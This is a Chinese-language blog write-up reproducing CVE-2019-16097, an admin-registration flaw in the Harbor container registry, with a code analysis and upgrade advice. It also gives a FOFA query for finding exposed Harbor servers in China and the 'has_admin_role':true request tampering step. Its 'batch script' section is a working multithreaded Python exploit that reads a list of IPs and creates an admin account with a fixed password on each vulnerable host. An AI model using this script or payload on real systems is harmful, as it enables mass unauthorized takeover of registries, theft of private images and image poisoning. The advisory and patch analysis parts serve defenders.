CVE-2019-16097 || Harbor任意管理員註冊漏洞復現

目錄

  • 0x01 前言

  • 0x02 漏洞簡介及危害

  • 0x03 漏洞復現

  • 0x04 代碼分析

  • 0x05 批量腳本

  • 0x06 修復建議

  • 0x07 免責聲明


0x01 前言

Harbor是一個用於存儲和分發Docker鏡像的企業級Registry服務器,通過添加一些企業必需的功能特性,例如安全、標識和管理等,擴展了開源Docker Distribution。作爲一個企業級私有Registry服務器,Harbor提供了更好的性能和安全。提升用戶使用Registry構建和運行環境傳輸鏡像的效率。Harbor支持安裝在多個Registry節點的鏡像資源複製,鏡像全部保存在私有Registry中, 確保數據和知識產權在公司內部網絡中管控。另外,Harbor也提供了高級的安全特性,諸如用戶管理,訪問控制和活動審計等。


0x02 漏洞簡介及危害

因註冊模塊對參數校驗不嚴格,可導致任意管理員註冊。

文檔名稱 Harbor權限提升漏洞安全預警通告
關鍵字 Harbor、CVE-2019-16097
發佈日期 2019年09月19日
危及版本 Harbor 1.7.6之前版本 Harbor 1.8.3之前版本

Harbor 1.7.6之前版本和Harbor 1.8.3之前版本中的core/api/user.go文件存在安全漏洞。若開放註冊功能,攻擊者可利用該漏洞創建admin賬戶。註冊功能默認開放。攻擊者可以以管理員身份下載私有項目並審計;可以刪除或污染所有鏡像。

目前PoC已公開,建議受影響的客戶儘快升級。


0x03 漏洞復現

使用fofa語法搜索

title="Harbor" && country=CN


找到註冊頁面


點擊註冊抓包,改包,在最後數據包加上:

"has_admin_role":true


修改成功,成功添加賬號密碼。並登陸成功!


0x04 代碼分析

聲明:代碼分析來着奇安信團隊,原文地址:【預警通告】Harbor權限提升漏洞安全預警通告

分析代碼的commit hash爲e7488e37b69319fa9dcbaab57499bec5c8aed08a,此commit中尚未包含補丁。受影響的API請求地址是/api/users/,請求方式爲POST,因此從API的路由中找到入口點,位置在src/core/router.go50行:

在這裏插入圖片描述
可以看到其將此POST請求路由到了api.UserAPI中,找到api.UserAPI的處理POST請求的位置在src/core/api/user.go的302行,跟進代碼,發現其先後判斷認證方式,是否開啓自行註冊(默認開啓)然後實例化了User結構體:
在這裏插入圖片描述
我們先來看一下User結構體,位置在src/common/models/user.go 25行:
在這裏插入圖片描述
注意其中HasAdminRole字段對應的數據庫表現形式和JSON請求表現形式。其在數據庫中的字段表現形式爲sysadmin_flag,JSON表現形式爲has_admin_role

再繼續跟入,後面的過程依次是,反序列化請求JSON串爲User結構體,驗證用戶提交的User格式是否正確(用戶名規範和密碼規範)判斷用戶名和email字段是否已存在,然後直接調用數據庫訪問層的dao.Register()方法執行數據庫插入的操作:

在這裏插入圖片描述
跟入dao.Register()方法中,位置在src/common/dao/register.go26行,可以看到其直接將User結構體的HasAdminRole字段插入到數據庫
在這裏插入圖片描述
在github上進行commitdiff(https://github.com/goharbor/harbor/pull/8917/commits/b6db8a8a106259ec9a2c48be8a380cb3b37cf517#diff-fb70049a82e5abd89a68c8e2cccba44c)對比,可以看到此次提交對註冊用戶的請求進行了邏輯判斷,不允許非管理員用戶創建新的管理員用戶。
在這裏插入圖片描述


0x05 批量腳本

腳本來源於T9sec team

import requests
import json
import csv
from concurrent.futures import ThreadPoolExecutor

def exp(url):
    url = url + '/api/users'
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
        'Content-Type': 'application/json',
        }
    payload = {
        "username": "test1",
        "email": "[email protected]",
        "realname": "test1",
        "password": "Aa123456",
        "comment": "test1",
        "has_admin_role": True
        }
    payload = json.dumps(payload)
    try:
        requests.packages.urllib3.disable_warnings()
        r = requests.post(url, headers=headers, data=payload, timeout=2, verify=False)
        if r.status_code == 201:
            print(url)
    except Exception as e:
        pass

if __name__ == '__main__':
    data = open('ip.txt') # 批量IP
    reader = csv.reader(data)
    # 50是線程
    with ThreadPoolExecutor(50) as pool:
        for row in reader:
            if 'http' not in row[0]:
                url = 'http://' + row[0]
            else:
                url = row[0]
            pool.submit(exp, url)

0x06 修復建議

升級到1.7.6及以上版本或者1.8.3及以上版本

臨時緩解方案:

關閉允許自行註冊功能(Allow Self-Registration)


0x07 免責聲明

本文中提到的漏洞利用Poc和腳本僅供研究學習使用,請遵守《網絡安全法》等相關法律法規。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章